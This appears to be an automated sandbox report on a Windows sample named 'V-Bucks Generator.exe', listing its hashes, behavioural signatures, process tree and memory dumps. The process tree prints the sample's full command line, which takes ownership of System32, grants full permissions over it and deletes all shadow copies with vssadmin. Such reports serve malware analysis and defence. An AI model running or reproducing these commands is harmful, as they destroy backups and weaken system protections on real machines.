Analysis

  • max time kernel
    15s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    14-08-2024 12:09

General

  • Target

    V-Bucks Generator.exe

  • Size

    458KB

  • MD5

    d5e63bc0a087c9cda1215688405b6fb2

  • SHA1

    e32d08d66878bf50458cd8674dfc581a6fc611d4

  • SHA256

    9bf2689546105532a778dc6a0a6e964ece8ff33c4fcea28e82c29940e06d2666

  • SHA512

    cdc9610af7562bca20bb29a14b7acb0facef90f15b21ad4d0006e5dc2afc9533cd406c7735dcc9c1e353cc04ff4b480d7d0229be59e2b0e51ed91bbef4298f12

  • SSDEEP

    12288:QGchrYmYRz1T/I/x/c/Qkrn5gA6IG+rQFR:SrqJT/Cw5gA6Iy

Malware Config

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Possible privilege escalation attempt 4 IoCs
  • Modifies file permissions 1 TTPs 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\V-Bucks Generator.exe
    "C:\Users\Admin\AppData\Local\Temp\V-Bucks Generator.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2972
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c color 47 && title Critical process && takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && vssadmin delete shadows /all /quiet && Exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2684
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2844
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32 /grant Admin:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2800
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\drivers
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2852
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\drivers /grant Admin:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2820
      • C:\Windows\system32\vssadmin.exe
        vssadmin delete shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:2672
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2656

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2972-0-0x000007FEF62D3000-0x000007FEF62D4000-memory.dmp

    Filesize

    4KB

  • memory/2972-1-0x0000000000A30000-0x0000000000AA8000-memory.dmp

    Filesize

    480KB

  • memory/2972-2-0x0000000000990000-0x0000000000A0A000-memory.dmp

    Filesize

    488KB

  • memory/2972-3-0x000007FEF62D0000-0x000007FEF6CBC000-memory.dmp

    Filesize

    9.9MB

  • memory/2972-4-0x000007FEF62D0000-0x000007FEF6CBC000-memory.dmp

    Filesize

    9.9MB